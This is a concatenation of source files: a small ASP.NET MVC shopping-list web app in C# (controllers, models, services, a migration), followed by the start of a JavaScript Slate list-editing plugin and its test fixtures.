"#FFFFFF"} }; ListsShopping.ForEach(s => context.ShoppingLists.Add(s)); context.SaveChanges(); } } }<file_sep>using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Linq; using System.Net; using System.Web; using System.Web.Mvc; using ShoppingList.Data; using ShoppingList.Models; using ShoppingList.Services; using Microsoft.AspNet.Identity; namespace ShoppingList.Controllers { public class ShoppingListItemController : Controller { private ApplicationDbContext db = new ApplicationDbContext(); private ListService CreateListService() { var userId = Guid.Parse(User.Identity.GetUserId()); var service = new ListService(userId); return service; } // GET: Test public ActionResult Index(string sortOrder, int id) { var service = CreateListService(); var model = service.GetShoppingListItems(id); ViewBag.id = id; return View(model); ViewBag.PrioitySortParm = String.IsNullOrEmpty(sortOrder) ? "prioity" : ""; ViewBag.NameSortParm = sortOrder == "Name" ? "name_desc" : "Name"; var items = from s in db.ShoppingListItems select s; switch (sortOrder) { case "prioity": items = items.OrderBy(s => s.Priority); break; case "Name": items = items.OrderBy(s => s.ListContent); break; case "name_desc": items = items.OrderByDescending(s => s.ListContent); break; default: items = items.OrderByDescending(s => s.Priority); break; } return View(items.ToList()); } // GET: Test/Details/5 public ActionResult Details(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ShoppingListItemController shoppingListItem = db.ShoppingListItems.Find(id); if (shoppingListItem == null) { return HttpNotFound(); } return View(shoppingListItem); } // GET: Test/Create public ActionResult Create(int id) { return View(); } // POST: Test/Create // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create(ShoppingListItemController model, int id) { if (!ModelState.IsValid) return View(model); var service = CreateListService(); if (service.CreateListItem(model, id)) { //TempData is a dictionary that displays text per user in view then is removed only displaying the //Value of the key TempData["SaveResult"] = "Your note was created"; //TODO WHY COULDN'T YOU DO RETURN View(Index) return RedirectToAction("Index", new { id = id }); } //If it fails the ModelState.AddModelError would display that the note was not created in the validation summary ModelState.AddModelError("", "Your note could not be create."); return View(model); } // GET: Test/Edit/5 public ActionResult Edit(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ShoppingListItemController shoppingListItem = db.ShoppingListItems.Find(id); if (shoppingListItem == null) { return HttpNotFound(); } return View(shoppingListItem); } // POST: Test/Edit/5 // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Include = "shoppingItemId,shoppingListId,ListContent,Priority,IsChecked,CreatedUtc,ModifiedUtc")] ShoppingListItemController shoppingListItem) { if (ModelState.IsValid) { db.Entry(shoppingListItem).State = EntityState.Modified; db.SaveChanges(); return RedirectToAction("Index"); } return View(shoppingListItem); } // GET: Test/Delete/5 public ActionResult Delete(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ShoppingListItemController shoppingListItem = db.ShoppingListItems.Find(id); if (shoppingListItem == null) { return HttpNotFound(); } return View(shoppingListItem); } // POST: Test/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public ActionResult DeleteConfirmed(int id) { ShoppingListItemController shoppingListItem = db.ShoppingListItems.Find(id); db.ShoppingListItems.Remove(shoppingListItem); db.SaveChanges(); return RedirectToAction("Index"); } protected override void Dispose(bool disposing) { if (disposing) { db.Dispose(); } base.Dispose(disposing); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Web; namespace ShoppingList.Models { public class Note { [Key] public int NoteId { get; set; } public int shoppingItemId { get; set; } public string Body { get; set; } [DataType(DataType.Date)] [DisplayFormat(DataFormatString = "{0:yyyy-MM-dd)", ApplyFormatInEditMode = true)] [Display(Name = "Creation Date")] public DateTimeOffset CreatedUtc { get; set; } [Display(Name = "Edited Date")] public DateTimeOffset? ModifiedUtc { get; set; } } }<file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Web; namespace ShoppingList.Models { public class ListShopping { [Key] public int shoppingListId { get; set; } public Guid UserId { get; set; } [Required] [Display(Name = "Shopping List")] public string ListName { get; set; } public string Color { get; set; } [Display(Name = "Creation Date")] public DateTimeOffset CreatedUtc { get; set; } [Display(Name = "Edited Date")] public DateTimeOffset? ModifiedUtc { get; set; } } }<file_sep>using ShoppingList.Data; using ShoppingList.Models; using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace ShoppingList.Services { public class ListService { ApplicationDbContext db = new ApplicationDbContext(); private readonly Guid _userId; //private readonly int _shoppinglistId; //Since making this constructor now you HAVE to get it a user ID public ListService(Guid userId) { _userId = userId; } //public ListService(int shoppinglistId) //{ // _shoppinglistId = shoppinglistId; //} public bool CreateList(ListShopping model) { var entity = new ListShopping { UserId = _userId, ListName = model.ListName, Color = model.Color, CreatedUtc = DateTimeOffset.UtcNow }; using (var ctx = new ApplicationDbContext()) { ctx.ShoppingLists.Add(entity); return ctx.SaveChanges() == 1; } } public bool CreateListItem(ShoppingListItem model, int id) { var entity = new ShoppingListItem { shoppingListId = id, ListContent = model.ListContent, Priority = model.Priority, IsChecked = model.IsChecked, NoteContent = model.NoteContent, CreatedUtc = DateTimeOffset.UtcNow }; using (var ctx = new ApplicationDbContext()) { ctx.ShoppingListItems.Add(entity); return ctx.SaveChanges() == 1; } } public IEnumerable<ListShopping> GetShoppingList() { using (var ctx = new ApplicationDbContext()) { var query = ctx.ShoppingLists.Where(e => e.UserId == _userId); return query.ToArray(); } } public IEnumerable<ShoppingListItem> GetShoppingListItems(int id) { using (var ctx = new ApplicationDbContext()) { var query = ctx.ShoppingListItems.Where(e => e.shoppingListId == id); return query.ToArray(); } } } }<file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Web; namespace ShoppingList.Models { public enum Priority { Low, Medium, High, }; public class ShoppingListItem { [Key] public int shoppingItemId { get; set; } public int shoppingListId { get; set; } public string ListContent { get; set; } public Priority? Priority { get; set; } [DefaultValue(false)] public bool IsChecked { get; set; } public string NoteContent { get; set; } [Display(Name = "Creation Date")] public DateTimeOffset CreatedUtc { get; set; } [Display(Name = "Edited Date")] public DateTimeOffset? ModifiedUtc { get; set; } } }<file_sep>namespace ShoppingList.Data.Migrations { using System; using System.Data.Entity.Migrations; public partial class Models : DbMigration { public override void Up() { AlterColumn("dbo.Notes", "ModifiedUtc", c => c.DateTimeOffset(precision: 7)); AlterColumn("dbo.ShoppingListItems", "ModifiedUtc", c => c.DateTimeOffset(precision: 7)); AlterColumn("dbo.ListShoppings", "ModifiedUtc", c => c.DateTimeOffset(precision: 7)); } public override void Down() { AlterColumn("dbo.ListShoppings", "ModifiedUtc", c => c.DateTimeOffset(nullable: false, precision: 7)); AlterColumn("dbo.ShoppingListItems", "ModifiedUtc", c => c.DateTimeOffset(nullable: false, precision: 7)); AlterColumn("dbo.Notes", "ModifiedUtc", c => c.DateTimeOffset(nullable: false, precision: 7)); } } }
0d3fab08a60920dab6e761a0b9bf55e5c6efcc9c
[ "C#" ]
8
C#
ElevenFiftyApprentices/Team_NET_BJC2
aa18458c14937f5830111e2cf15080e1625f8116
e3ee440224aff099daacfb86ccb27e8458299c44
refs/heads/master
<file_sep>require 'bundler/setup' Bundler.require require './controllers/user' require './controllers/genre' require './controllers/category' require './controllers/menu' config = YAML.load_file('./database.yml') ActiveRecord::Base.configurations = config if development? ActiveRecord::Base.establish_connection(config['development']) else ActiveRecord::Base.establish_connection(config['production']) end Time.zone = 'Tokyo' ActiveRecord::Base.default_timezone = :local after do ActiveRecord::Base.connection.close end class User < ActiveRecord::Base has_secure_password has_many :user_tokens, dependent: :destroy end class UserToken < ActiveRecord::Base belongs_to :user end class Genre < ActiveRecord::Base has_many :menus, dependent: :destroy end class Menu < ActiveRecord::Base belongs_to :genre belongs_to :category has_many :ingredients, dependent: :destroy end class Ingredient < ActiveRecord::Base belongs_to :menu end class Category < ActiveRecord::Base has_many :menus, dependent: :destroy end <file_sep># Qhapaq-back ## APIの仕様 ### User関連 #### SignIn > (POST) http://localhost:4567/user/sign_in ### Genre関連 #### ジャンル一覧を取得 > (GET) http://localhost:4567/genres #### ジャンルを登録 > (POST) http://localhost:4567/genre ### Menu関連 #### メニュー一覧を取得 > (GET) http://localhost:4567/menu/:id (:idはジャンルのIDを指定する) #### メニューを新規作成 > (POST) http://localhost:4567/menu #### メニューを更新 > (POST) http://localhost:4567/menu/:id <file_sep># index get '/menu/:id' do menu = Menu.find_by(id: params[:id]) menu.attributes.merge({ingredients: menu.ingredients}).to_json end # create post '/menu' do menu_params = JSON.parse(request.body.read) menu = Menu.new(hoge(menu_params)) status 500 unless menu.save menu_params['ingredients'].each { |v| fuga(menu, v) } menu.to_json end # update post '/menu/:id' do menu_params = JSON.parse(request.body.read) menu = Menu.find_by(id: params[:id]) status 404 unless menu status 500 unless menu.update(hoge(menu_params)) menu_params['ingredients'].each { |v| fuga(menu, v) } menu.to_json end private def hoge(params) { genre: Genre.find_by(id: params['genre_id']), category_id: 1, name: params['name'] } end def fuga(menu, params) ingredient = Ingredient.find_or_initialize_by( name: params['name'], menu: menu ) ingredient.update_attributes( menu: menu, name: params['name'], amount: params['amount'], unit: params['unit'], cost: params['cost'], description: params['description'] ) end post '/menu' do menu_params = JSON.parse(request.body.read) menu = Menu.new({ genre: Genre.find_by(id: menu_params['genre_id']), category_id: 1, name: menu_params['name'] }) if menu.save menu_params['ingredients'].each do |i| Ingredient.create( menu: menu, name: i['name'], amount: i['amount'], unit: i['unit'], cost: i['cost'], description: i['description'] ) end menu.to_json else status 500 end end
fa3d59d831ae22ffdfd396ee18284ca02a9bd762
[ "Markdown", "Ruby" ]
3
Ruby
sushi99/Qhapaq-back
5baf8bb24cd62842102601ea9fd94bc74d915139
f4b5274349c432cf03aab81e8b810609679f9f9d
refs/heads/master
<file_sep>package clone.util; import java.util.*; import java.util.stream.Collectors; import java.util.stream.Stream; public class CloneArgumentsCombiner { private final List<List<Object>> argumentsList; private final List<Object> currentValues; private final List<Iterator<Object>> iterators; private CloneArgumentsCombiner(List<List<Object>> arguments) { argumentsList = Collections.unmodifiableList(arguments.stream() .map(ArrayList::new) .collect(Collectors.toList())); argumentsList.stream() .filter(List::isEmpty) .forEach(x -> x.add(null)); iterators = argumentsList.stream() .map(List::iterator) .collect(Collectors.toList()); currentValues = iterators.stream() .map(Iterator::next) .collect(Collectors.toList()); } public static Stream<List<Object>> generateStream(List<List<Object>> arguments) { if (arguments == null || arguments.isEmpty() || arguments.stream().allMatch(List::isEmpty)) { return Stream.empty(); } CloneArgumentsCombiner collectionCombiner = new CloneArgumentsCombiner(arguments); Integer streamLimit = collectionCombiner.argumentsList.stream() .map(Collection::size) .reduce(1, (x, y) -> x * y); return Stream.generate(collectionCombiner::performIterateStep) .limit(streamLimit); } private List<Object> performIterateStep() { List<Object> result = getCurrentValues(); incrementPositions(); return result; } private List<Object> getCurrentValues() { return new ArrayList<>(currentValues); } private void incrementPositions() { incrementPositions(iterators.size() - 1); } private void incrementPositions(int position) { if (!iterators.get(position).hasNext()) { if (position > 0) { incrementPositions(position - 1); } iterators.set(position, argumentsList.get(position).iterator()); } Object newValue = iterators.get(position).next(); currentValues.set(position, newValue); } } <file_sep>Тестовое задание для Ecwid, Deep-clone <file_sep>package clone.util; import java.lang.instrument.Instrumentation; import java.util.Arrays; import java.util.List; class ClassLoaderAgent { private ClassLoaderAgent() { } private static Instrumentation instrumentation; public static void agentmain(String args, Instrumentation instrumentation) { ClassLoaderAgent.instrumentation = instrumentation; } @SuppressWarnings("unchecked") static List<Class<?>> getLoadedClasses() { return Arrays.asList(instrumentation.getAllLoadedClasses()); } } <file_sep>Тут уже реализация задания по сложнее) В реализации не сделано клонирование имплементаций функциональных интерфейсов и нескольких классов из jdk, предназначенных для взаимодействия с ресурсами. Это искусственное ограничение легко снимается, но в результате могут получиться неконсистентные объекты. <file_sep>Класс, для копирования, при условии implements Serializable
5941dfa987d943043ca1dd662444a9b5abe718c9
[ "Markdown", "Java" ]
5
Java
Artur-Sch/task
35c2597d440b48d0f83ce47b39b8d076173beb36
7dbcfa05a2657e62eb5281b5d6eac3bdbbb6e165
refs/heads/master
<repo_name>alexarirok/intro_to_flask<file_sep>/IntoToFlask/hello.py from hello import Flask, render_templates app = Flask(__name__) @app.route("/hello/<user>") def hello_name(user): return render_templates("hello_name", name=user) if __name__ == "__main__": app.run(debug = True)
a5c31933110f0fa49f75bf6bbda356051fae8c1a
[ "Python" ]
1
Python
alexarirok/intro_to_flask
7ce9c49b94d82660743f4275edbfe74f1f13e93d
67e947de275005ae39d54aae4ebcd056dcf87fd3
refs/heads/master
<file_sep>#### Short description of what this resolves: #### Changes proposed in this pull request: - - - **Fixes**: # #### How Has This Been Tested? <!--- Please describe in detail how you tested your changes. --> <!--- Include details of your testing environment, tests ran to see how --> <!--- your change affects other areas of the code, etc. --> #### Screenshots (if appropriate): #### Checklist: <!--- Go over all the following points, and put an `x` in all the boxes that apply. --> <!--- If you're unsure about any of these, don't hesitate to ask. We're here to help! --> - [ ] I have read the [contribution](https://github.com/shanalikhan/code-settings-sync/blob/master/CONTRIBUTING.md#setup-extension-locally) guidelines. - [ ] My change requires a change to the documentation and Github Wiki. - [ ] I have updated the documentation and Wiki accordingly. <file_sep>npm install node-pre-gyp npm i --no-optional npm dedupe npm up npm install -g vsce printf "Applying Token" echo "[{\"name\":\"Shan\",\"pat\":\"$VSCE_TOKEN\"}]" > ~/.vsce vsce publish <file_sep>--- name: "❓ Support Question" about: " \U0001F6D1 If you have a question \U0001F4AC, please check out our support channels! " --- I will recommend to discuss about project over the slack. You can join the community from the following link: https://join.slack.com/t/codesettingssync/<KEY> Feel free to open ticket here. <file_sep>import { OsType } from "./enums"; import { osTypeFromString, SUPPORTED_OS } from "./environmentPath"; import localize from "./localize"; /** * Comment/Uncomment lines if matches OS name or Hostname. * Usage: @sync os=[OS name] host=[hostName] * Notes: Hostname must be defined in sync.host setting. It could be used for parse any JSON valid string. * @export * @class PragmaUtil */ export default class PragmaUtil { /** * Process @sync pragma statements before file is saved. * Comment lines that don't match with the user OS or host value. * @static * @param {string} newContent a valid JSON string * @returns {string} * @memberof PragmaUtil */ public static processBeforeWrite( localContent: string, newContent: string, osType: OsType, hostName: string ): string { let result: string = newContent; const pragmaSettingsBlocks: RegExpMatchArray = result.match( this.PragmaRegExp ); if (pragmaSettingsBlocks !== null) { let osMatch: RegExpMatchArray; let osFromPragma: string; let hostMatch: RegExpMatchArray; let hostFromPragma: string; let envMatch: RegExpMatchArray; let envFromPragma: string; for (const block of pragmaSettingsBlocks) { // line e.g.: // @sync os=windows host=Laptop\n"window.menuBarVisibility": "none", try { // check OS pragma osMatch = block.match(/os=(\w+)/); if (osMatch !== null) { osFromPragma = osMatch[1].toLowerCase(); if (!SUPPORTED_OS.includes(osFromPragma)) { continue; } if (osTypeFromString(osFromPragma) !== osType) { result = result.replace(block, this.commentLineAfterBreak(block)); continue; // no need to lookup the host name } } // check host pragma hostMatch = block.match(/host=(\S+)/); if (hostMatch !== null) { hostFromPragma = hostMatch[1]; if ( hostName === null || hostName === "" || hostFromPragma.toLowerCase() !== hostName.toLowerCase() ) { result = result.replace(block, this.commentLineAfterBreak(block)); continue; } } // check env pragma envMatch = block.match(/env=(\S+)/); if (envMatch !== null) { envFromPragma = envMatch[1]; if (process.env[envFromPragma.toUpperCase()] === undefined) { result = result.replace(block, this.commentLineAfterBreak(block)); continue; } } // if os, host and evn matched the current machine make sure to uncomment the setting result = result.replace(block, this.uncommentLineAfterBreak(block)); } catch (e) { console.error("Sync: Error processing pragmas ", e.message); continue; } } } result = this.removeIgnoreBlocks(result); const ignoredBlocks = this.getIgnoredBlocks(localContent); // get the settings that must prevale result = result.replace(/{\s*\n/, `{\n${ignoredBlocks}\n`); // always formated with four spaces? // check is a valid JSON try { // remove comments and trailing comma const uncommented = this.removeAllComments(result).replace( /,\s*\}/g, " }" ); JSON.parse(uncommented); } catch (e) { console.error("Sync: Result content is not a valid JSON.", e.message); } return result; } /** * Remove @sync-ignore settings before upload. * * @static * @param {string} settingsContent * @returns {string} * @memberof PragmaUtil */ public static processBeforeUpload(settingsContent: string): string { let result: string = settingsContent; result = this.removeIgnoreBlocks(result); const lines = result.split("\n").map(l => l.trim()); // alert not supported OS const pragmaMatches: RegExpMatchArray = result.match(this.PragmaRegExp); if (pragmaMatches) { let newBlock: string; let osMatch: RegExpMatchArray; let osFromPragma: string; let hostMatch: RegExpMatchArray; let hostFromPragma: string; let envMatch: RegExpMatchArray; let envFromPragma: string; for (const block of pragmaMatches) { newBlock = block; osMatch = newBlock.match(this.OSPragmaWhiteSpacesSupportRegExp); if (osMatch !== null) { osFromPragma = osMatch[1] || osMatch[2] || osMatch[3]; if (osFromPragma !== "" && /\s/.test(osFromPragma)) { newBlock = newBlock.replace(osFromPragma, osFromPragma.trimLeft()); } const trimmed = osFromPragma.toLowerCase().trim(); if (!SUPPORTED_OS.includes(trimmed)) { console.warn("Sync: Invalid OS", osFromPragma); throw new Error( localize( "cmd.updateSettings.warning.OSNotSupported", trimmed, lines.indexOf(block.split("\n")[0]) + 1 ) ); } } hostMatch = newBlock.match(this.HostPragmaWhiteSpacesSupportRegExp); if (hostMatch !== null) { hostFromPragma = hostMatch[1] || hostMatch[2] || hostMatch[3]; if (hostFromPragma !== "" && /\s/.test(hostFromPragma)) { newBlock = newBlock.replace( hostFromPragma, hostFromPragma.trimLeft() ); } } envMatch = block.match(this.EnvPragmaWhiteSpacesSupportRegExp); if (envMatch !== null) { envFromPragma = envMatch[1] || envMatch[2] || envMatch[3]; if (envFromPragma !== "" && /\s/.test(envFromPragma)) { newBlock = newBlock.replace( envFromPragma, envFromPragma.trimLeft() ); } } // uncomment line before upload result = result.replace(block, this.uncommentLineAfterBreak(newBlock)); } } return result; } public static removeIgnoreBlocks(settingsContent: string): string { let result: string = settingsContent; result = result.replace(/\@sync ignore/g, "@sync-ignore"); const ignoreSettingsBlocks: RegExpMatchArray = result.match( this.IgnorePragmaRegExp ); if (ignoreSettingsBlocks !== null) { for (const block of ignoreSettingsBlocks) { result = result.replace(block, ""); } } return result; } public static getIgnoredBlocks(content: string): string { content = content.replace(/\@sync ignore/g, "@sync-ignore"); const ignoredBlocks: RegExpMatchArray = content.match( this.IgnorePragmaRegExp ); if (ignoredBlocks == null) { return ""; } return ignoredBlocks.join(""); } public static matchPragmaSettings(settingsContent: string): RegExpMatchArray { return settingsContent.match(this.PragmaRegExp); } /** * Insert Javascript comment slashes * * @private * @param {string} settingContent * @param {string} line * @returns {strign} * @memberof PragmaUtil */ public static commentLineAfterBreak(block: string): string { const settingLine = block.match(/\n[ \t]*(.+)/); if ( settingLine !== null && settingLine[1] && !settingLine[1].startsWith("//") ) { return block.replace(settingLine[1], l => "//" + l); } return block; } public static uncommentLineAfterBreak(block: string): string { const settingLine = block.match(/\n[ \t]*(.+)/); if ( settingLine !== null && settingLine[1] && settingLine[1].startsWith("//") ) { return block.replace(settingLine[1], l => l.replace("//", "")); } return block; } public static removeAllComments(text: string): string { return text.replace(/\s*(\/\/.+)|(\/\*.+\*\/)/g, ""); } private static readonly PragmaRegExp: RegExp = /\/\/[ \t]*\@sync[ \t]+(?:os=.+[ \t]*)?(?:host=.+[ \t]*)?(?:env=.+[ \t]*)?\n[ \t]*.+,?/g; private static readonly IgnorePragmaRegExp: RegExp = /[ \t]*\/\/[ \t]*\@sync-ignore.*\n.+,?\n+/g; private static readonly HostPragmaWhiteSpacesSupportRegExp = /(?:host=(.+)os=)|(?:host=(.+)env=)|host=(.+)\n?/; private static readonly OSPragmaWhiteSpacesSupportRegExp = /(?:os=(.+)host=)|(?:os=(.+)env=)|os=(.+)\n?/; private static readonly EnvPragmaWhiteSpacesSupportRegExp = /(?:env=(.+)host=)|(?:env=(.+)os=)|env=(.+)\n?/; } <file_sep>import * as lockfile from "lockfile"; import { Util } from "./util"; interface IOptions { wait?: number; pollPeriod?: number; stale?: number; retries?: number; retryWait?: number; } export default { Check, Lock, Unlock }; export function Check( filepath: string, options: IOptions = {} ): Promise<boolean> { return Util.promisify(lockfile.check)(filepath, options); } export function Lock( filepath: string, options: IOptions = {} ): Promise<boolean> { return Util.promisify(lockfile.lock)(filepath, options); } export function Unlock(filepath: string): Promise<boolean> { return Util.promisify(lockfile.unlock)(filepath); } <file_sep>describe("PragmaUtil", () => { require("./pragmaUtil"); }); <file_sep>import { expect } from "chai"; import { File, FileService } from "../../../src/service/fileService"; describe("FileService", () => { it("should get custom file info", async () => { const expected = new File( "dummyrc", '{\n "hoge": true,\n}', __dirname + "/../../../../test/service/fileService/dummyrc", "|customized_sync|dummyrc" ); const actual = await FileService.GetCustomFile( __dirname + "/../../../../test/service/fileService/dummyrc", // __dirname => out/src/test/service "dummyrc" ); expect(actual).to.deep.equals(expected); }); it("should return null if file does not exists", async () => { const actual = await FileService.GetCustomFile( __dirname + "/../../../../test/service/fileService/hoge", "hoge" ); expect(actual).to.be.equals(null); }); it("should join by path separator", () => { const actual = FileService.ConcatPath( "/User/path/to", "hoge/piyo", "hoge.txt" ); expect(actual).to.be.equals("/User/path/to/hoge/piyo/hoge.txt"); }); }); <file_sep>--- name: "\U0001F41B Bug report" about: "Bugs, missing documentation, or unexpected behavior \U0001F914" --- 🐛 **Describe the bug** A clear and concise description of what the bug is. 🌴 **Visual Studio Code Version :** [ VERSION_HERE ] 🌴 **Code Settings Sync Version :** [ VERSION_HERE ] 🌴 **Standard or Insiders :** [ _here_ ] 🌴 **OSS or Portable :** [ _here_ ] 🌴 **Operating System :** [ VERSION_HERE ] 🌴 **Occurs On:** [Upload / Download / Help Configuring ] 🌴 **Proxy Enabled:** [ Yes / No ] 🌴 **Gist Id:** [ ID_HERE ] 📰 **To Reproduce** Steps to reproduce the behavior: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error 💪 **Expected behavior** A clear and concise description of what you expected to happen. 📺 **Console Error Log** If applicable, add screenshots or paste the console log from developer console of VSCode. 📺 **Additional context** Add any other context about the problem here. <file_sep>import { expect } from "chai"; import fs = require("fs"); import { OsType } from "../../src/enums"; import PragmaUtil from "../../src/pragmaUtil"; let testSettings = null; describe("Process before upload", function() { this.beforeAll(() => { testSettings = fs.readFileSync( __dirname + "/../../../test/pragmaUtil/testSettings.json", "utf8" ); }); it("should remove @sync-ignore and @sync ignore lines", () => { expect(PragmaUtil.removeIgnoreBlocks(testSettings)) .to.not.contains("@sync-ignore") .and.not.contains("@sync ignore"); }); it("should trim os, host and env", () => { expect(PragmaUtil.processBeforeUpload(testSettings)).to.match( /@sync os=linux host=trim env=TEST_ENV/ ); }); it("should comment line after linebreak", () => { const line = '// @sync host=mac1 os=_mac_\n\t"mac": 3,'; expect(PragmaUtil.commentLineAfterBreak(line)).to.match(/\/\/\s*"mac"/); }); it("should uncomment line after linebreak", () => { const line = '// @sync host=mac1 os=_mac_\n\t//"mac": 3,'; expect(PragmaUtil.uncommentLineAfterBreak(line)).to.match(/\s*"mac"/); }); it("should get eight @sync pragma valid lines", () => { const processed = PragmaUtil.processBeforeUpload(testSettings); expect(PragmaUtil.matchPragmaSettings(processed).length).to.be.equals(8); }); it("should uncomment all lines", () => { const commentedSettings = ` // @sync os=linux // "window": 1, // @sync os=mac // "mac": 1 `; expect(PragmaUtil.processBeforeUpload(commentedSettings)) .to.match(/\s+"window"/) .and.to.match(/\s+"mac"/); }); it("should uncomment lines before write file for os=linux", () => { const commentedSettings = `{ // @sync os=linux // "linux": 1, // @sync os=mac "mac": 1 }`; const processed = PragmaUtil.processBeforeWrite( commentedSettings, commentedSettings, OsType.Linux, null ); expect(processed) .to.match(/\s+"linux"/) .and.to.match(/.+\/\/"mac"/); }); it("should not comment os=linux settings lines", () => { let processed = PragmaUtil.processBeforeUpload(testSettings); processed = PragmaUtil.processBeforeWrite( processed, processed, OsType.Linux, null ); expect(processed).to.match(/\s+"not_commented"/); }); it("should leave only settings that matches with os=mac host=mac2 env=TEST_ENV", () => { const processed = PragmaUtil.processBeforeUpload(testSettings); // tslint:disable-next-line:no-string-literal process.env["TEST_ENV"] = "1"; expect( PragmaUtil.processBeforeWrite(processed, processed, OsType.Mac, "mac2") ) .to.match(/\n\s+"mac2"/) .and.match(/\n\s+"mactest"/); }); it("should remove all comments and parse JSON", () => { const possibleJson = PragmaUtil.removeAllComments(testSettings); expect(JSON.parse.bind(null, possibleJson)).to.not.throw(); }); });
5e33cb10c4a655742efccac34aedbf1890f7220a
[ "Markdown", "TypeScript", "Shell" ]
9
Markdown
18nbaehilo/code-settings-sync
cc53b1c0937a8d2ab4b7d091ca657807761750cd
ee1bd18da769622a4e3c3a4cba001e639d623e85
refs/heads/master
<file_sep>asgiref==3.2.3 autopep8==1.5 boto3==1.12.16 botocore==1.15.16 Django==3.0.4 django-appconf==1.0.3 django-filter==2.2.0 django-imagekit==4.0.2 django-storages==1.9.1 django-widget-tweaks==1.4.8 docutils==0.15.2 jmespath==0.9.5 pilkit==2.0 Pillow==7.0.0 pycodestyle==2.5.0 python-dateutil==2.8.1 python-googlegeocoder==0.4.0 pytz==2019.3 s3transfer==0.3.3 six==1.14.0 sqlparse==0.3.1 urllib3==1.25.8 <file_sep>from django.contrib.auth.models import User from django.shortcuts import render from .filters import UserFilter # Create your views here. def index(request): users = User.objects.all() user_filter = UserFilter(request.GET) context = { 'filter': user_filter } return render(request, "myapp/index.html", context) def search_results(request): users = User.objects.all() user_filter = UserFilter(request.GET, queryset=users) context = { 'filter': user_filter } return render(request, "myapp/search.html", context)
0bb057ac68b16004ee5464f11b4755a83086ef20
[ "Python", "Text" ]
2
Text
GreatHayat/djagno_search_filter
609df0c2ee18859be7eaebda5d2bd33b68b83a16
ba88669d5548c308e231e681b21cd155d3f2eccc
refs/heads/main
<file_sep>$(document).ready(function() { let result = '' let workingOperation = '' $('button').click( function(){ if ($(this).text() === 'AC') { return clear() } else if ($(this).text() === '=') { let result = (eval(workingOperation)) workingOperation = result //console.log(result) } else if ($(this).hasClass('number')) { if ($(this).text() !== '0') { workingOperation += $(this).text() } else if (workingOperation.slice(-1) === '0'){ workingOperation += '' } else { workingOperation += '0' } } else if ($(this).hasClass('decimal')) { let lastChar = workingOperation.slice(-1) let workingArray = workingOperation.split(' ') let lastWord = workingArray[workingArray.length -1] if (lastChar === '.' || lastWord.indexOf('.') !== -1) { workingOperation += '' } else { workingOperation += $(this).text() } } else if ($(this).hasClass('operand')) { let twoLastChars = workingOperation.toString().slice(-2) let lastFour = workingOperation.toString().slice(-5) if (lastFour === '* - ') { workingOperation = workingOperation.slice(0, -5) workingOperation += $(this).text() } else if ($(this).text() !== '-') { if (twoLastChars === '+ ' || twoLastChars === '* ' || twoLastChars === '/ ' || twoLastChars === '- ') { workingOperation += '' } else { workingOperation += ' ' + $(this).text() + ' ' } } else { workingOperation += ' ' + '-' + ' ' } } display.innerHTML = workingOperation } ) function clear() { display.innerHTML = 0 workingOperation = '' } })
dcd1026b5d733dfe298893005c8eeca2e91e7572
[ "JavaScript" ]
1
JavaScript
hannarosenfeld/jsCalculator
d5a54c0398d8c33318c2da1fde88826841a10134
8db6a2f57a1e8d76760ab0e6e45a51b383869fc2
refs/heads/master
<file_sep> module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('_selection_key'); change.collapseToStartOf(selectedBlock) .move(2); // It|em 1 return plugin.changes.splitListItem(change); }; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('_selection_key'); const initial = change.state.change({ save: false }).moveToRangeOf(selectedBlock); const initialText = initial.state.startBlock.text; const initialSelection = initial.state.selection; const newChange = initial.state.change(); newChange.call(plugin.changes.increaseItemDepth) .undo(); // Back to previous cursor position expect(newChange.state.startBlock.text).toEqual(initialText); expect(newChange.state.selection.toJS()).toEqual(initialSelection.toJS()); return newChange; }; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('cursor'); change.moveToRangeOf(selectedBlock); const currentItem = plugin.utils.getCurrentItem(change.state); expect(currentItem.key).toBe('current_item'); }; <file_sep> module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('_selection_key'); change.collapseToStartOf(selectedBlock).move(2); return plugin.changes.decreaseItemDepth(change); }; <file_sep> module.exports = function(plugin, change) { const { state } = change; const p = state.document.findDescendant(node => node.type == 'paragraph'); change.collapseToStartOf(p).moveOffsetsTo(5, 5); return plugin.changes.splitListItem(change); }; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('_selection_key'); const initial = change.state.change({ save: false }).moveToRangeOf(selectedBlock).state; const toTest = initial.change(); toTest.call(plugin.changes.decreaseItemDepth).undo(); // Back to previous cursor position expect(toTest.state.startBlock.text).toEqual('Item 1.1'); return toTest; }; <file_sep>const { Record } = require('immutable'); const DEFAULTS = { // The possibles types for list containers types: ['ul_list', 'ol_list'], // The type of list items typeItem: 'list_item', // The type of default block in items typeDefault: 'paragraph' }; /** * The plugin options */ class Options extends new Record(DEFAULTS) {} module.exports = Options; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const { state } = change; const initialText = state.startBlock.text; const initialSelection = state.selection; change.call(plugin.changes.wrapInList).undo(); // Back to previous cursor position expect(change.state.startBlock.text).toEqual(initialText); expect(change.state.selection.toJS()).toEqual(initialSelection.toJS()); return change; }; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const ret = plugin.onKeyDown( { preventDefault: () => {}, 